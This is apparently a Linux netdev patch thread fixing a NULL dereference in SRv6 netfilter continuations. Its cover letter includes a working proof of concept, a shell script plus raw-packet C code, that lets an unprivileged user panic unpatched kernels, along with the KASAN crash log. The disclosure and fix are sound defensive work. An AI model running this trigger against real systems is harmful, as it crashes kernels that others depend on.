* [PATCH net v2 0/1] seg6: validate state in netfilter continuations
@ 2026-10-18 6:27 Ren Wei
2026-10-18 6:27 ` [PATCH net v2 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-10-18 6:27 UTC (permalink / raw)
To: netdev, andrea.mayer
Cc: davem, edumazet, kuba, pabeni, horms, contact, pablo, vega,
sashiko-bot, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
Hi Linux kernel maintainers,
We found and validated a bug in net/ipv6/seg6_local.c and
net/ipv6/seg6_iptunnel.c. An SRv6 continuation can dereference a missing
or incompatible destination state after a netfilter hook modifies the
skb destination.
This bug is tracked at:
https://bugtracker.nebusec.ai/f/11977
We provide the technical details and test summary below. The complete
archived PoC source and an exact excerpt from the clean serial log follow.
---- details below ----
Bug details:
The End.DX4 and End.DX6 actions decapsulate an inner packet and pass it
through NF_INET_PRE_ROUTING when nf_hooks_lwtunnel is enabled. DNAT can
drop skb_dst() before the finish callback resumes. The callback then
dereferences skb_dst(skb)->lwtstate. The same assumption exists in
seg6_local_input_core() after its netfilter hook.
In seg6_iptunnel, POST_ROUTING SNAT with an outbound XFRM policy can
replace the destination before seg6_input_core() or seg6_output_core()
continues. These paths must not assume that the current destination
carries a SEG6 lwtstate.
This patch checks for a valid skb destination, a non-NULL lwtstate, and
the expected SEG6_LOCAL or SEG6 lwtstate type. Invalid state is dropped.
The check is by type, not by identity of the original state. This patch
does not walk through XFRM dsts or take an additional lwtstate
reference. The loop-detection explanation in seg6_input_core() remains.
Reproducer:
The archived script's namespace mode is:
sh poc.sh namespace
For this validation, the guest lacked cc1. A static x86_64 `poc` binary
was therefore compiled on the host, copied into the disposable QEMU
guest, and executed only there. The equivalent trigger branch was run
as test_user in a fresh user/network namespace:
su -s /bin/sh test_user -c \
'cd /tmp/poc && unshare -Urn -- sh ./poc.sh dx4-inner'
The separate root-only XFRM variant was run inside a QEMU guest with
the user-mode eth0 configured to 10.0.2.15/24:
cd /tmp/poc && sh ./poc.sh iptunnel-xfrm
We built clean and patched kernels from the same source baseline and
KASAN config in their source-tree build/ directories. Runtime tests used
x86 QEMU TCG, 1 vCPU, and 2 GiB RAM. The guest command line explicitly
set panic_on_warn=0 oops=continue panic_on_oom=0; KVM was unavailable to
the test user.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin${PATH:+:$PATH}
SELF=$(readlink -f "$0")
DIR=$(dirname "$SELF")
BIN="$DIR/poc"
DX4_TABLE=poc_seg6_dx4
DX4_ROUTE_TABLE=100
DX4_RULE_PREF=100
DX4_SID=fc00:12:100::6004
DX4_OLD_IPV4_FORWARD=
DX4_OLD_IPV6_FORWARD=
DX4_OLD_RP_FILTER=
DX4_SYSCTL_SAVED=0
DX4_SRC_PAIR_ADDED=0
DX4_HS_PAIR_ADDED=0
DX4_ROUTE_ADDED=0
DX4_RULE_ADDED=0
DX4_TABLE_ADDED=0
XFRM_TABLE=poc_seg6_iptunnel_xfrm
XFRM_IFACE=${POC_IFACE:-eth0}
XFRM_SOURCE_IP=${POC_SOURCE_IP:-10.0.2.15}
XFRM_SNAT_IP=${POC_SNAT_IP:-10.0.2.16}
XFRM_DST_IP=${POC_DST_IP:-198.18.0.2}
XFRM_SEGMENT=${POC_SEGMENT:-fec0::2}
XFRM_SPI=0x100
XFRM_AUTH_KEY=0x1111111111111111111111111111111111111111111111111111111111111111
XFRM_ENC_KEY=0x22222222222222222222222222222222
XFRM_ADDR_ADDED=0
XFRM_ADDR_PREFIX=
XFRM_IFACE_STATE_SAVED=0
XFRM_IFACE_WAS_UP=0
XFRM_SEGMENT_ROUTE_ADDED=0
XFRM_ENCAP_ROUTE_ADDED=0
XFRM_TABLE_ADDED=0
XFRM_STATE_ADDED=0
XFRM_POLICY_ADDED=0
XFRM_OLD_NF_HOOKS=
XFRM_NF_HOOKS_ENABLED=0
usage() {
cat >&2 <<EOF
usage: $0 [namespace|dx4|root|iptunnel-xfrm]
namespace non-root End.DX4 + PREROUTING DNAT (default)
dx4 root End.DX4 + PREROUTING DNAT
root compatibility alias for dx4
iptunnel-xfrm root-only QEMU test: SRv6 encap + SNAT + ESP/XFRM
EOF
}
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
require_root() {
[ "$(id -u)" -eq 0 ] || {
echo "this mode must run as root inside a QEMU guest" >&2
exit 1
}
}
require_qemu_guest() {
if [ ! -r /sys/class/dmi/id/sys_vendor ] || \
! grep -qi qemu /sys/class/dmi/id/sys_vendor; then
echo "iptunnel-xfrm may only run in a disposable QEMU guest" >&2
exit 1
fi
}
build_poc() {
need_cmd cc
cc -O2 -Wall -Wextra -o "$BIN" "$DIR/poc.c"
}
cleanup_dx4() {
if [ "$DX4_RULE_ADDED" -eq 1 ]; then
ip -6 rule del iif rt0 to "$DX4_SID/128" \
lookup "$DX4_ROUTE_TABLE" pref "$DX4_RULE_PREF" 2>/dev/null || true
fi
if [ "$DX4_ROUTE_ADDED" -eq 1 ]; then
ip -6 route del "$DX4_SID/128" table "$DX4_ROUTE_TABLE" \
2>/dev/null || true
fi
if [ "$DX4_TABLE_ADDED" -eq 1 ]; then
nft delete table ip "$DX4_TABLE" 2>/dev/null || true
fi
if [ "$DX4_SRC_PAIR_ADDED" -eq 1 ]; then
ip link del src0 2>/dev/null || true
fi
if [ "$DX4_HS_PAIR_ADDED" -eq 1 ]; then
ip link del hs0 2>/dev/null || true
fi
if [ "$DX4_SYSCTL_SAVED" -eq 1 ]; then
sysctl -wq net.ipv4.ip_forward="$DX4_OLD_IPV4_FORWARD" || true
sysctl -wq net.ipv6.conf.all.forwarding="$DX4_OLD_IPV6_FORWARD" || true
sysctl -wq net.ipv4.conf.all.rp_filter="$DX4_OLD_RP_FILTER" || true
fi
}
setup_and_trigger_dx4() {
need_cmd ip
need_cmd nft
need_cmd sysctl
for dev in src0 rt0 hs0 rth0; do
if [ -e "/sys/class/net/$dev" ]; then
echo "interface $dev already exists; use a fresh network namespace" >&2
return 1
fi
done
if nft list table ip "$DX4_TABLE" >/dev/null 2>&1 || \
ip -6 route show table "$DX4_ROUTE_TABLE" "$DX4_SID/128" | grep -q . || \
ip -6 rule show pref "$DX4_RULE_PREF" | grep -q .; then
echo "End.DX4 PoC resources already exist; refusing to overwrite them" >&2
return 1
fi
DX4_OLD_IPV4_FORWARD=$(sysctl -n net.ipv4.ip_forward)
DX4_OLD_IPV6_FORWARD=$(sysctl -n net.ipv6.conf.all.forwarding)
DX4_OLD_RP_FILTER=$(sysctl -n net.ipv4.conf.all.rp_filter)
DX4_SYSCTL_SAVED=1
ip link add src0 type veth peer name rt0
DX4_SRC_PAIR_ADDED=1
ip link add hs0 type veth peer name rth0
DX4_HS_PAIR_ADDED=1
ip link set lo up
ip addr add 2001:11::1/64 dev src0 nodad
ip addr add 10.0.0.22/24 dev rth0
ip link set src0 up
ip link set rt0 up
ip link set hs0 up
ip link set rth0 up
sysctl -wq net.ipv4.ip_forward=1
sysctl -wq net.ipv6.conf.all.forwarding=1
sysctl -wq net.netfilter.nf_hooks_lwtunnel=1
sysctl -wq net.ipv4.conf.all.rp_filter=0
ip -6 route add "$DX4_SID/128" table "$DX4_ROUTE_TABLE" \
encap seg6local action End.DX4 nh4 10.0.0.2 dev rth0
DX4_ROUTE_ADDED=1
ip -6 rule add iif rt0 to "$DX4_SID/128" \
lookup "$DX4_ROUTE_TABLE" pref "$DX4_RULE_PREF"
DX4_RULE_ADDED=1
nft add table ip "$DX4_TABLE"
DX4_TABLE_ADDED=1
nft add chain ip "$DX4_TABLE" prerouting \
'{ type nat hook prerouting priority -100; policy accept; }'
nft add rule ip "$DX4_TABLE" prerouting \
ip daddr 10.0.0.2 dnat to 10.0.0.99
# Keep the trap active so all objects created above are removed on return.
"$BIN" src0 rt0
}
cleanup_iptunnel_xfrm() {
if [ "$XFRM_POLICY_ADDED" -eq 1 ]; then
ip xfrm policy delete dir out src "$XFRM_SNAT_IP/32" \
dst "$XFRM_DST_IP/32" 2>/dev/null || true
fi
if [ "$XFRM_STATE_ADDED" -eq 1 ]; then
ip xfrm state delete src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
proto esp spi "$XFRM_SPI" 2>/dev/null || true
fi
if [ "$XFRM_ENCAP_ROUTE_ADDED" -eq 1 ]; then
ip -4 route del "$XFRM_DST_IP/32" 2>/dev/null || true
fi
if [ "$XFRM_SEGMENT_ROUTE_ADDED" -eq 1 ]; then
ip -6 route del "$XFRM_SEGMENT/128" dev "$XFRM_IFACE" \
2>/dev/null || true
fi
if [ "$XFRM_ADDR_ADDED" -eq 1 ]; then
ip addr del "$XFRM_SNAT_IP/$XFRM_ADDR_PREFIX" dev "$XFRM_IFACE" \
2>/dev/null || true
fi
if [ "$XFRM_TABLE_ADDED" -eq 1 ]; then
nft delete table ip "$XFRM_TABLE" 2>/dev/null || true
fi
if [ "$XFRM_IFACE_STATE_SAVED" -eq 1 ] && \
[ "$XFRM_IFACE_WAS_UP" -eq 0 ]; then
ip link set "$XFRM_IFACE" down 2>/dev/null || true
fi
if [ "$XFRM_NF_HOOKS_ENABLED" -eq 1 ] && \
[ "$XFRM_OLD_NF_HOOKS" -eq 0 ]; then
echo "NOTE: nf_hooks_lwtunnel is one-way enabled until the guest reboots" >&2
fi
}
setup_and_trigger_iptunnel_xfrm() {
require_root
require_qemu_guest
need_cmd ip
need_cmd nft
need_cmd ping
need_cmd sysctl
[ -e "/sys/class/net/$XFRM_IFACE" ] || {
echo "interface $XFRM_IFACE is required" >&2
exit 1
}
XFRM_SOURCE_CIDR=$(ip -4 -o addr show dev "$XFRM_IFACE" | \
awk -v address="$XFRM_SOURCE_IP" \
'index($4, address "/") == 1 { print $4; exit }')
if [ -z "$XFRM_SOURCE_CIDR" ]; then
echo "$XFRM_IFACE must have $XFRM_SOURCE_IP configured" >&2
exit 1
fi
XFRM_ADDR_PREFIX=${XFRM_SOURCE_CIDR#*/}
if nft list table ip "$XFRM_TABLE" >/dev/null 2>&1 || \
ip -4 route show "$XFRM_DST_IP/32" | grep -q . || \
ip -6 route show "$XFRM_SEGMENT/128" | grep -q . || \
ip xfrm state list src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
| grep -q . || \
ip xfrm policy list src "$XFRM_SNAT_IP/32" \
dst "$XFRM_DST_IP/32" dir out | grep -q .; then
echo "XFRM PoC table or route already exists; refusing to overwrite it" >&2
return 1
fi
if ip -o link show dev "$XFRM_IFACE" | grep -q '<[^>]*UP'; then
XFRM_IFACE_WAS_UP=1
fi
XFRM_IFACE_STATE_SAVED=1
ip link set "$XFRM_IFACE" up
XFRM_OLD_NF_HOOKS=$(sysctl -n net.netfilter.nf_hooks_lwtunnel)
case "$XFRM_OLD_NF_HOOKS" in
0|1) ;;
*)
echo "unexpected nf_hooks_lwtunnel value: $XFRM_OLD_NF_HOOKS" >&2
return 1
;;
esac
if ! ip -4 -o addr show dev "$XFRM_IFACE" | \
grep -Fq "inet $XFRM_SNAT_IP/"; then
ip addr add "$XFRM_SNAT_IP/$XFRM_ADDR_PREFIX" dev "$XFRM_IFACE"
XFRM_ADDR_ADDED=1
fi
ip -6 route add "$XFRM_SEGMENT/128" dev "$XFRM_IFACE"
XFRM_SEGMENT_ROUTE_ADDED=1
ip -4 route add "$XFRM_DST_IP/32" \
encap seg6 mode encap segs "$XFRM_SEGMENT" dev "$XFRM_IFACE"
XFRM_ENCAP_ROUTE_ADDED=1
# Use a private table; never flush the guest's global nftables ruleset.
nft add table ip "$XFRM_TABLE"
XFRM_TABLE_ADDED=1
nft add chain ip "$XFRM_TABLE" postrouting \
'{ type nat hook postrouting priority 100; policy accept; }'
nft add rule ip "$XFRM_TABLE" postrouting \
ip saddr "$XFRM_SOURCE_IP" ip daddr "$XFRM_DST_IP" \
snat to "$XFRM_SNAT_IP"
ip xfrm state add \
src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
proto esp spi "$XFRM_SPI" mode transport \
auth-trunc 'hmac(sha256)' "$XFRM_AUTH_KEY" 128 \
enc 'cbc(aes)' "$XFRM_ENC_KEY"
XFRM_STATE_ADDED=1
ip xfrm policy add dir out \
src "$XFRM_SNAT_IP/32" dst "$XFRM_DST_IP/32" \
tmpl src "$XFRM_SNAT_IP" dst "$XFRM_DST_IP" \
proto esp mode transport
XFRM_POLICY_ADDED=1
ip -4 route get "$XFRM_DST_IP" from "$XFRM_SOURCE_IP"
ip xfrm policy list
if [ "$XFRM_OLD_NF_HOOKS" -eq 0 ]; then
echo "WARNING: enabling nf_hooks_lwtunnel persists until QEMU guest reboot" >&2
fi
sysctl -wq net.netfilter.nf_hooks_lwtunnel=1
XFRM_NF_HOOKS_ENABLED=1
# The target need not answer; transmitting this packet enters the path.
echo "Sending one IPv4 ping to trigger SRv6 encap + POST_ROUTING SNAT + ESP"
if ping -n -c 1 -W 1 -I "$XFRM_SOURCE_IP" "$XFRM_DST_IP"; then
echo "ping received a reply"
else
ping_status=$?
case "$ping_status" in
1)
echo "no ping reply (expected); inspect the QEMU serial log for the kernel result"
;;
*)
echo "ping failed before the trigger completed (status $ping_status)" >&2
return "$ping_status"
;;
esac
fi
}
case "${1:-namespace}" in
namespace)
build_poc
exec unshare -Urn -- "$SELF" dx4-inner
;;
dx4|root)
require_root
trap cleanup_dx4 EXIT
build_poc
setup_and_trigger_dx4
;;
dx4-inner|inner)
trap cleanup_dx4 EXIT
setup_and_trigger_dx4
;;
iptunnel-xfrm|xfrm)
trap cleanup_iptunnel_xfrm EXIT
trap 'exit 129' HUP
trap 'exit 130' INT
trap 'exit 143' TERM
setup_and_trigger_iptunnel_xfrm
;;
*)
usage
exit 2
;;
esac
------END poc.sh------
------BEGIN poc.c------
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netinet/icmp6.h>
#include <netinet/ip.h>
#include <netinet/ip6.h>
#include <netinet/udp.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static uint16_t checksum(const void *data, size_t len)
{
const uint8_t *bytes = data;
uint32_t sum = 0;
size_t i;
for (i = 0; i + 1 < len; i += 2)
sum += ((uint32_t)bytes[i] << 8) | bytes[i + 1];
if (len & 1)
sum += (uint32_t)bytes[len - 1] << 8;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void get_if_hwaddr(int fd, const char *ifname, unsigned char *mac)
{
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("SIOCGIFHWADDR");
memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
}
static int get_ifindex(int fd, const char *ifname)
{
struct ifreq ifr = {0};
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("SIOCGIFINDEX");
return ifr.ifr_ifindex;
}
int main(int argc, char **argv)
{
static const char payload[] = "dx4";
struct sockaddr_ll sll = {0};
struct ether_header *eth;
struct ip6_hdr *ip6;
struct iphdr *ip4;
struct udphdr *udp;
unsigned char src_mac[ETH_ALEN];
unsigned char dst_mac[ETH_ALEN];
unsigned char frame[sizeof(*eth) + sizeof(*ip6) + sizeof(*ip4) +
sizeof(*udp) + sizeof(payload)];
const char *tx_if;
const char *peer_if;
size_t off;
int fd;
if (argc != 3) {
fprintf(stderr, "usage: %s <tx-if> <peer-if>\n", argv[0]);
return 2;
}
tx_if = argv[1];
peer_if = argv[2];
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
if (fd < 0)
die("socket(AF_PACKET)");
get_if_hwaddr(fd, tx_if, src_mac);
get_if_hwaddr(fd, peer_if, dst_mac);
memset(frame, 0, sizeof(frame));
off = 0;
eth = (struct ether_header *)(frame + off);
memcpy(eth->ether_shost, src_mac, ETH_ALEN);
memcpy(eth->ether_dhost, dst_mac, ETH_ALEN);
eth->ether_type = htons(ETH_P_IPV6);
off += sizeof(*eth);
ip6 = (struct ip6_hdr *)(frame + off);
ip6->ip6_flow = htonl(6U << 28);
ip6->ip6_plen = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
ip6->ip6_nxt = IPPROTO_IPIP;
ip6->ip6_hops = 64;
if (inet_pton(AF_INET6, "2001:11::1", &ip6->ip6_src) != 1)
die("inet_pton outer src");
if (inet_pton(AF_INET6, "fc00:12:100::6004", &ip6->ip6_dst) != 1)
die("inet_pton outer dst");
off += sizeof(*ip6);
ip4 = (struct iphdr *)(frame + off);
ip4->version = 4;
ip4->ihl = 5;
ip4->ttl = 64;
ip4->protocol = IPPROTO_UDP;
ip4->tot_len = htons(sizeof(*ip4) + sizeof(*udp) + sizeof(payload));
ip4->saddr = inet_addr("10.0.0.1");
ip4->daddr = inet_addr("10.0.0.2");
ip4->check = checksum(ip4, sizeof(*ip4));
off += sizeof(*ip4);
udp = (struct udphdr *)(frame + off);
udp->source = htons(4442);
udp->dest = htons(5555);
udp->len = htons(sizeof(*udp) + sizeof(payload));
udp->check = 0;
off += sizeof(*udp);
memcpy(frame + off, payload, sizeof(payload));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_IPV6);
sll.sll_ifindex = get_ifindex(fd, tx_if);
sll.sll_halen = ETH_ALEN;
memcpy(sll.sll_addr, dst_mac, ETH_ALEN);
if (sendto(fd, frame, sizeof(frame), 0, (struct sockaddr *)&sll,
sizeof(sll)) < 0)
die("sendto");
close(fd);
return 0;
}
------END poc.c------
----BEGIN clean crash log----
[ 850.337115][ C0] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000011: 0000 [#1] SMP KASAN NOPTI
[ 850.339684][ C0] KASAN: null-ptr-deref in range [0x0000000000000088-0x000000000000008f]
[ 850.341683][ C0] CPU: 0 UID: 1001 PID: 5089 Comm: poc Not tainted 7.3.0-rc7-00117-g7ec48f396a1d #1 PREEMPT(full)
[ 850.343655][ C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 850.345295][ C0] RIP: 0010:input_action_end_dx4_finish+0x7b/0x560
[ 850.348257][ C0] Code: 0f 85 88 02 00 00 e8 74 17 65 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[ 850.351309][ C0] RSP: 0018:ffa0000000007890 EFLAGS: 00000206
[ 850.352921][ C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[ 850.354189][ C0] RDX: 0000000000000011 RSI: ffffffff8a5d14dc RDI: 0000000000000088
[ 850.355455][ C0] RBP: ff11000030289280 R08: 0000000000000101 R09: ffe21c0006440374
[ 850.356710][ C0] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[ 850.357948][ C0] R13: ff110000302892d8 R14: 0000000000000000 R15: 0000000000000000
[ 850.359260][ C0] FS: 000000001910f3c0(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[ 850.360636][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 850.361997][ C0] CR2: 000000000049bfe0 CR3: 0000000030265000 CR4: 00000000007516f0
[ 850.363320][ C0] PKRU: 55555554
[ 850.364144][ C0] Call Trace:
[ 850.365073][ C0] <IRQ>
[ 850.366023][ C0] input_action_end_dx4+0x366/0x480
[ 850.367613][ C0] seg6_local_input_core+0x106/0x330
[ 850.368739][ C0] seg6_local_input+0x185/0x1e0
[ 850.369783][ C0] lwtunnel_input+0x30d/0x770
[ 850.370800][ C0] ? __pfx_lwtunnel_input+0x10/0x10
[ 850.372158][ C0] ipv6_rcv+0x365/0x3d0
[ 850.373093][ C0] ? __pfx_ipv6_rcv+0x10/0x10
[ 850.374076][ C0] deliver_skb+0x182/0x270
[ 850.375334][ C0] __netif_receive_skb_core.constprop.0+0x1584/0x3320
[ 850.376880][ C0] ? lock_acquire+0x1bf/0x370
[ 850.377881][ C0] ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[ 850.379409][ C0] ? notifier_call_chain+0xbd/0x430
[ 850.380789][ C0] ? find_held_lock+0x2b/0x80
[ 850.382139][ C0] ? __lock_acquire+0x509/0x2110
[ 850.383491][ C0] __netif_receive_skb_one_core+0xaf/0x1e0
[ 850.384603][ C0] ? __pfx___netif_receive_skb_one_core+0x10/0x10
[ 850.385789][ C0] ? process_backlog+0x330/0x1540
[ 850.386794][ C0] ? process_backlog+0x330/0x1540
[ 850.387795][ C0] __netif_receive_skb+0x1d/0x160
[ 850.389062][ C0] process_backlog+0x382/0x1540
[ 850.390072][ C0] __napi_poll.constprop.0+0xb3/0x540
[ 850.391128][ C0] net_rx_action+0x9b1/0xea0
[ 850.392128][ C0] ? __pfx_net_rx_action+0x10/0x10
[ 850.393163][ C0] ? sched_clock+0x39/0x60
[ 850.394137][ C0] ? sched_clock_cpu+0x6c/0x550
[ 850.395345][ C0] ? __pfx_sched_clock_cpu+0x10/0x10
[ 850.396372][ C0] ? sched_clock_cpu+0x6c/0x550
[ 850.397345][ C0] ? __dev_queue_xmit+0xe33/0x4370
[ 850.398366][ C0] handle_softirqs+0x1d3/0x990
[ 850.399643][ C0] ? __dev_queue_xmit+0xe33/0x4370
[ 850.400899][ C0] do_softirq+0xad/0xe0
[ 850.401887][ C0] </IRQ>
[ 850.402576][ C0] <TASK>
[ 850.403244][ C0] __local_bh_enable_ip+0x109/0x130
[ 850.404620][ C0] ? __dev_queue_xmit+0xe33/0x4370
[ 850.405621][ C0] __dev_queue_xmit+0xe48/0x4370
[ 850.406630][ C0] ? __might_fault+0x138/0x190
[ 850.407932][ C0] ? __pfx___dev_queue_xmit+0x10/0x10
[ 850.409207][ C0] ? __might_fault+0xe0/0x190
[ 850.410219][ C0] ? _copy_from_iter+0x14b/0x1710
[ 850.411252][ C0] ? __pfx__copy_from_iter+0x10/0x10
[ 850.412295][ C0] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 850.413441][ C0] ? packet_parse_headers+0x283/0x840
[ 850.414543][ C0] ? __pfx_packet_parse_headers+0x10/0x10
[ 850.415676][ C0] packet_xmit+0x247/0x370
[ 850.416863][ C0] packet_sendmsg+0x30e4/0x4e10
[ 850.418124][ C0] ? sock_has_perm+0x21f/0x2c0
[ 850.419439][ C0] ? __pfx_sock_has_perm+0x10/0x10
[ 850.420517][ C0] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 850.421935][ C0] ? tomoyo_socket_sendmsg_permission+0x13b/0x3a0
[ 850.423117][ C0] ? __pfx_packet_sendmsg+0x10/0x10
[ 850.424152][ C0] ? selinux_socket_sendmsg+0x18f/0x2e0
[ 850.425211][ C0] ? __pfx_packet_sendmsg+0x10/0x10
[ 850.426219][ C0] __sys_sendto+0x4c3/0x510
[ 850.427185][ C0] ? __pfx___sys_sendto+0x10/0x10
[ 850.428211][ C0] ? sock_ioctl+0x3c8/0x6a0
[ 850.429235][ C0] ? fd_install+0x23d/0x550
[ 850.430240][ C0] ? selinux_file_ioctl+0x189/0x280
[ 850.431265][ C0] ? selinux_file_ioctl+0xbb/0x280
[ 850.432309][ C0] __x64_sys_sendto+0xe0/0x1c0
[ 850.433295][ C0] ? lockdep_hardirqs_on+0x7d/0x110
[ 850.434752][ C0] do_syscall_64+0x128/0x7b0
[ 850.436028][ C0] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 850.437445][ C0] RIP: 0033:0x44fefa
[ 850.439474][ C0] Code: ec 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 15 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 7e c3 0f 1f 44 00 00 41 54 48 83 ec 30 44 89
[ 850.442927][ C0] RSP: 002b:00007ffe8cb6c048 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 850.444883][ C0] RAX: ffffffffffffffda RBX: 00007ffe8cb6c328 RCX: 000000000044fefa
[ 850.446352][ C0] RDX: 0000000000000056 RSI: 00007ffe8cb6c0b0 RDI: 0000000000000003
[ 850.447805][ C0] RBP: 0000000000000003 R08: 00007ffe8cb6c050 R09: 0000000000000014
[ 850.449691][ C0] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe8cb6cf33
[ 850.451169][ C0] R13: 00007ffe8cb6cf38 R14: 00000000004c97d0 R15: 0000000000000001
[ 850.452729][ C0] </TASK>
[ 850.453476][ C0] Modules linked in:
[ 850.456077][ C0] ---[ end trace 0000000000000000 ]---
[ 850.457781][ C0] RIP: 0010:input_action_end_dx4_finish+0x7b/0x560
[ 850.459335][ C0] Code: 0f 85 88 02 00 00 e8 74 17 65 f7 49 89 df 48 b8 00 00 00 00 00 fc ff df 49 83 e7 fe 49 8d bf 88 00 00 00 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 78 04 00 00 48 8d bd d0 00 00 00 4d 8b b7 88 00
[ 850.462659][ C0] RSP: 0018:ffa0000000007890 EFLAGS: 00000206
[ 850.464107][ C0] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: 0000000000000101
[ 850.465550][ C0] RDX: 0000000000000011 RSI: ffffffff8a5d14dc RDI: 0000000000000088
[ 850.467086][ C0] RBP: ff11000030289280 R08: 0000000000000101 R09: ffe21c0006440374
[ 850.468311][ C0] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[ 850.469516][ C0] R13: ff110000302892d8 R14: 0000000000000000 R15: 0000000000000000
[ 850.470737][ C0] FS: 000000001910f3c0(0000) GS:ff110000d566e000(0000) knlGS:0000000000000000
[ 850.472075][ C0] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 850.473161][ C0] CR2: 000000000049bfe0 CR3: 0000000030265000 CR4: 00000000007516f0
[ 850.474633][ C0] PKRU: 55555554
[ 850.475999][ C0] Kernel panic - not syncing: Fatal exception in interrupt
[ 850.478692][ C0] Kernel Offset: disabled
[ 850.480208][ C0] Rebooting in 86400 seconds..
-----END clean crash log-----
Testing:
- The clean End.DX4 DNAT PoC reproduced a KASAN NULL dereference in
input_action_end_dx4_finish+0x7b/0x560, followed by a fatal exception.
- The patched End.DX4 PoC returned DX4_POC_EXIT=0 without a KASAN report,
Oops, or panic.
- The patched SNAT+ESP/XFRM PoC ran twice. One run returned
XFRM_POC_EXIT=0; both returned to the guest shell without a kernel
fault. No ping reply was expected from the test destination.
- The guest did not contain cc1; the static x86_64 PoC was compiled on
the host and executed only inside the QEMU guest.
Changes in v2:
- Add unlikely() to the new checks.
- Validate state types in both seg6local and seg6_iptunnel continuations
and drop invalid state.
- Do not walk through XFRM dsts or take an extra lwtstate reference.
- Retain the seg6_input_core() loop-detection comment.
- Document both reproducer setups and clean/patched test results.
- v1 Link: https://lore.kernel.org/all/cover.1790748418.git.petalzu987@gmail.com/
Best regards,
Zixuan Chai
Zixuan Chai (1):
seg6: validate state in netfilter continuations
net/ipv6/seg6_iptunnel.c | 35 ++++++++++++++++++++++++++++++-----
net/ipv6/seg6_local.c | 38 ++++++++++++++++++++++++++++++++------
2 files changed, 62 insertions(+), 11 deletions(-)
--
2.34.1
^ permalink raw reply [flat|nested] 2+ messages in thread
* [PATCH net v2 1/1] seg6: validate state in netfilter continuations
2026-10-18 6:27 [PATCH net v2 0/1] seg6: validate state in netfilter continuations Ren Wei
@ 2026-10-18 6:27 ` Ren Wei
0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-10-18 6:27 UTC (permalink / raw)
To: netdev, andrea.mayer
Cc: davem, edumazet, kuba, pabeni, horms, contact, pablo, vega,
sashiko-bot, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
Netfilter hooks can drop or replace skb_dst() while an SRv6 packet is
queued for continuation. The End.DX4 and End.DX6 finish callbacks and
the seg6local input continuation currently dereference the destination's
lwtstate without validating it. The seg6_iptunnel input and output
continuations make the same assumption after POST_ROUTING hooks.
Validate skb_valid_dst(), a non-NULL lwtstate, and the expected
LWTUNNEL_ENCAP_SEG6_LOCAL or LWTUNNEL_ENCAP_SEG6 type before using the
state. Drop the skb when validation fails. This check is by type, not by
identity of the original state. It does not walk through an XFRM dst or
take an additional lwtstate reference. Retain the loop-detection
explanation for saving the lwtstate address in seg6_input_core().
The End.DX4 reproducer creates a SEG6_LOCAL End.DX4 SID, enables
nf_hooks_lwtunnel, installs an IPv4 PREROUTING DNAT rule, and injects an
outer IPv6/inner IPv4 frame through AF_PACKET from a non-root user in a
fresh user/network namespace. DNAT drops skb_dst() before
input_action_end_dx4_finish() resumes.
A separate root-only reproducer exercises seg6_output_core(): an SRv6
encap route, POST_ROUTING SNAT, and an ESP transport policy replace the
route destination before the continuation resumes.
On a clean KASAN kernel, the End.DX4 reproducer triggered a NULL pointer
dereference in input_action_end_dx4_finish from packet_sendmsg(). On the
patched kernel, the End.DX4 reproducer completed with exit status 0. The
SNAT+ESP/XFRM reproducer ran twice; one run returned exit status 0. No
target KASAN report, Oops, or kernel panic was found on the patched
guest. Tests used QEMU TCG because KVM was unavailable to the test user.
Fixes: 7a3f5b0de364 ("netfilter: add netfilter hooks to SRv6 data plane")
Cc: stable@vger.kernel.org
